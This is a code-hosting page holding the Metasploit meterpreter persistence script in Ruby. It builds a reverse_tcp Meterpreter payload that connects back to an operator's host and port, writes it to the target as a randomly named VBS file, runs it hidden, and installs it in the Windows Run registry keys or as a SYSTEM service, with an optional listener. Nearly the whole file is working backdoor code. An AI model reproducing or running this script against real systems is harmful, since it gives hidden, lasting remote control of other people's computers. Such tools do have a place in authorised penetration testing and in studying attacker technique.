53557cc92e
expand_path is not implemented consistently across platforms and sessions, which leads to confusing behavior. In places where we have trivial single variable expansions, this changes modules and library code to just use getenv. We'll look at the rest individually to see if they can also be reimplemented in terms of getenv.
260 lines
8.6 KiB
Ruby
260 lines
8.6 KiB
Ruby
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
|
|
#-------------------------------------------------------------------------------
|
|
################## Variable Declarations ##################
|
|
|
|
##
|
|
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
|
|
# If you'd like to improve this script, please try to port it as a post
|
|
# module instead. Thank you.
|
|
##
|
|
|
|
# Meterpreter Session
|
|
@client = client
|
|
|
|
key = "HKLM"
|
|
|
|
# Default parameters for payload
|
|
rhost = Rex::Socket.source_address("1.2.3.4")
|
|
rport = 4444
|
|
delay = 5
|
|
install = false
|
|
autoconn = false
|
|
serv = false
|
|
altexe = nil
|
|
target_dir = nil
|
|
payload_type = "windows/meterpreter/reverse_tcp"
|
|
script = nil
|
|
script_on_target = nil
|
|
|
|
|
|
@exec_opts = Rex::Parser::Arguments.new(
|
|
"-h" => [ false, "This help menu"],
|
|
"-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],
|
|
"-p" => [ true, "The port on which the system running Metasploit is listening"],
|
|
"-i" => [ true, "The interval in seconds between each connection attempt"],
|
|
"-X" => [ false, "Automatically start the agent when the system boots"],
|
|
"-U" => [ false, "Automatically start the agent when the User logs on"],
|
|
"-S" => [ false, "Automatically start the agent on boot as a service (with SYSTEM privileges)"],
|
|
"-A" => [ false, "Automatically start a matching exploit/multi/handler to connect to the agent"],
|
|
"-L" => [ true, "Location in target host to write payload to, if none \%TEMP\% will be used."],
|
|
"-T" => [ true, "Alternate executable template to use"],
|
|
"-P" => [ true, "Payload to use, default is windows/meterpreter/reverse_tcp."]
|
|
)
|
|
|
|
################## Function Declarations ##################
|
|
|
|
# Usage Message Function
|
|
#-------------------------------------------------------------------------------
|
|
def usage
|
|
print_line "Meterpreter Script for creating a persistent backdoor on a target host."
|
|
print_line(@exec_opts.usage)
|
|
raise Rex::Script::Completed
|
|
end
|
|
|
|
# Wrong Meterpreter Version Message Function
|
|
#-------------------------------------------------------------------------------
|
|
def wrong_meter_version(meter)
|
|
print_error("#{meter} version of Meterpreter is not supported with this Script!")
|
|
raise Rex::Script::Completed
|
|
end
|
|
|
|
# Function for Creating the Payload
|
|
#-------------------------------------------------------------------------------
|
|
def create_payload(payload_type,lhost,lport)
|
|
print_status("Creating Payload=#{payload_type} LHOST=#{lhost} LPORT=#{lport}")
|
|
payload = payload_type
|
|
pay = client.framework.payloads.create(payload)
|
|
pay.datastore['LHOST'] = lhost
|
|
pay.datastore['LPORT'] = lport
|
|
return pay.generate
|
|
end
|
|
|
|
# Function for Creating persistent script
|
|
#-------------------------------------------------------------------------------
|
|
def create_script(delay,altexe,raw,is_x64)
|
|
if is_x64
|
|
if altexe
|
|
vbs = ::Msf::Util::EXE.to_win64pe_vbs(@client.framework, raw,
|
|
{:persist => true, :delay => delay, :template => altexe})
|
|
else
|
|
vbs = ::Msf::Util::EXE.to_win64pe_vbs(@client.framework, raw,
|
|
{:persist => true, :delay => delay})
|
|
end
|
|
else
|
|
if altexe
|
|
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
|
|
{:persist => true, :delay => delay, :template => altexe})
|
|
else
|
|
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
|
|
{:persist => true, :delay => delay})
|
|
end
|
|
end
|
|
print_status("Persistent agent script is #{vbs.length} bytes long")
|
|
return vbs
|
|
end
|
|
|
|
# Function for creating log folder and returning log path
|
|
#-------------------------------------------------------------------------------
|
|
def log_file(log_path = nil)
|
|
#Get hostname
|
|
host = @client.sys.config.sysinfo["Computer"]
|
|
|
|
# Create Filename info to be appended to downloaded files
|
|
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
|
|
|
|
# Create a directory for the logs
|
|
if log_path
|
|
logs = ::File.join(log_path, 'logs', 'persistence',
|
|
Rex::FileUtils.clean_path(host + filenameinfo) )
|
|
else
|
|
logs = ::File.join(Msf::Config.log_directory, 'persistence',
|
|
Rex::FileUtils.clean_path(host + filenameinfo) )
|
|
end
|
|
|
|
# Create the log directory
|
|
::FileUtils.mkdir_p(logs)
|
|
|
|
#logfile name
|
|
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
|
|
return logfile
|
|
end
|
|
|
|
# Function for writing script to target host
|
|
#-------------------------------------------------------------------------------
|
|
def write_script_to_target(target_dir,vbs)
|
|
if target_dir
|
|
tempdir = target_dir
|
|
else
|
|
tempdir = @client.sys.config.getenv('TEMP')
|
|
end
|
|
tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
|
|
fd = @client.fs.file.new(tempvbs, "wb")
|
|
fd.write(vbs)
|
|
fd.close
|
|
print_good("Persistent Script written to #{tempvbs}")
|
|
# Escape windows pathname separators.
|
|
file_local_write(@clean_up_rc, "rm #{tempvbs.gsub(/\\/, '//')}\n")
|
|
return tempvbs
|
|
end
|
|
|
|
# Function for setting exploit/multi/handler for autocon
|
|
#-------------------------------------------------------------------------------
|
|
def set_handler(selected_payload,rhost,rport)
|
|
print_status("Starting connection handler at port #{rport} for #{selected_payload}")
|
|
mul = client.framework.exploits.create("multi/handler")
|
|
mul.datastore['WORKSPACE'] = @client.workspace
|
|
mul.datastore['PAYLOAD'] = selected_payload
|
|
mul.datastore['LHOST'] = rhost
|
|
mul.datastore['LPORT'] = rport
|
|
mul.datastore['EXITFUNC'] = 'process'
|
|
mul.datastore['ExitOnSession'] = false
|
|
|
|
mul.exploit_simple(
|
|
'Payload' => mul.datastore['PAYLOAD'],
|
|
'RunAsJob' => true
|
|
)
|
|
print_good("exploit/multi/handler started!")
|
|
end
|
|
|
|
# Function to execute script on target and return the PID of the process
|
|
#-------------------------------------------------------------------------------
|
|
def targets_exec(script_on_target)
|
|
print_status("Executing script #{script_on_target}")
|
|
proc = session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true})
|
|
print_good("Agent executed with PID #{proc.pid}")
|
|
return proc.pid
|
|
end
|
|
|
|
# Function to install payload in to the registry HKLM or HKCU
|
|
#-------------------------------------------------------------------------------
|
|
def write_to_reg(key,script_on_target)
|
|
nam = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
key_path = "#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
|
|
print_status("Installing into autorun as #{key_path}\\#{nam}")
|
|
if key
|
|
registry_setvaldata("#{key_path}", nam, script_on_target, "REG_SZ")
|
|
print_good("Installed into autorun as #{key_path}\\#{nam}")
|
|
file_local_write(@clean_up_rc, "reg deleteval -k '#{key_path}' -v #{nam}\n")
|
|
else
|
|
print_error("Error: failed to open the registry key for writing")
|
|
end
|
|
end
|
|
|
|
# Function to install payload as a service
|
|
#-------------------------------------------------------------------------------
|
|
def install_as_service(script_on_target)
|
|
if not is_uac_enabled? or is_admin?
|
|
print_status("Installing as service..")
|
|
nam = Rex::Text.rand_text_alpha(rand(8)+8)
|
|
print_status("Creating service #{nam}")
|
|
service_create(nam, nam, "cscript \"#{script_on_target}\"")
|
|
file_local_write(@clean_up_rc, "execute -H -f sc -a \"delete #{nam}\"\n")
|
|
else
|
|
print_error("Insufficient privileges to create service")
|
|
end
|
|
end
|
|
|
|
|
|
################## Main ##################
|
|
@exec_opts.parse(args) { |opt, idx, val|
|
|
case opt
|
|
when "-h"
|
|
usage
|
|
when "-r"
|
|
rhost = val
|
|
when "-p"
|
|
rport = val.to_i
|
|
when "-i"
|
|
delay = val.to_i
|
|
when "-X"
|
|
install = true
|
|
key = "HKLM"
|
|
when "-S"
|
|
serv = true
|
|
when "-U"
|
|
install = true
|
|
key = "HKCU"
|
|
when "-A"
|
|
autoconn = true
|
|
when "-L"
|
|
target_dir = val
|
|
when "-T"
|
|
altexe = val
|
|
when "-P"
|
|
payload_type = val
|
|
end
|
|
}
|
|
|
|
# Check for Version of Meterpreter
|
|
unless client.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(client.arch)
|
|
wrong_meter_version(client.session_type)
|
|
end
|
|
|
|
print_status("Running Persistence Script")
|
|
# Create undo script
|
|
@clean_up_rc = log_file()
|
|
print_status("Resource file for cleanup created at #{@clean_up_rc}")
|
|
# Create and Upload Payload
|
|
raw = create_payload(payload_type, rhost, rport)
|
|
script = create_script(delay, altexe, raw, payload_type.include?('/x64/'))
|
|
script_on_target = write_script_to_target(target_dir, script)
|
|
|
|
# Start exploit/multi/handler
|
|
if autoconn
|
|
set_handler(payload_type, rhost, rport)
|
|
end
|
|
|
|
# Execute on target host
|
|
targets_exec(script_on_target)
|
|
|
|
# Install in registry
|
|
if install
|
|
write_to_reg(key,script_on_target)
|
|
end
|
|
|
|
# Install as a service
|
|
if serv
|
|
install_as_service(script_on_target)
|
|
end
|
|
|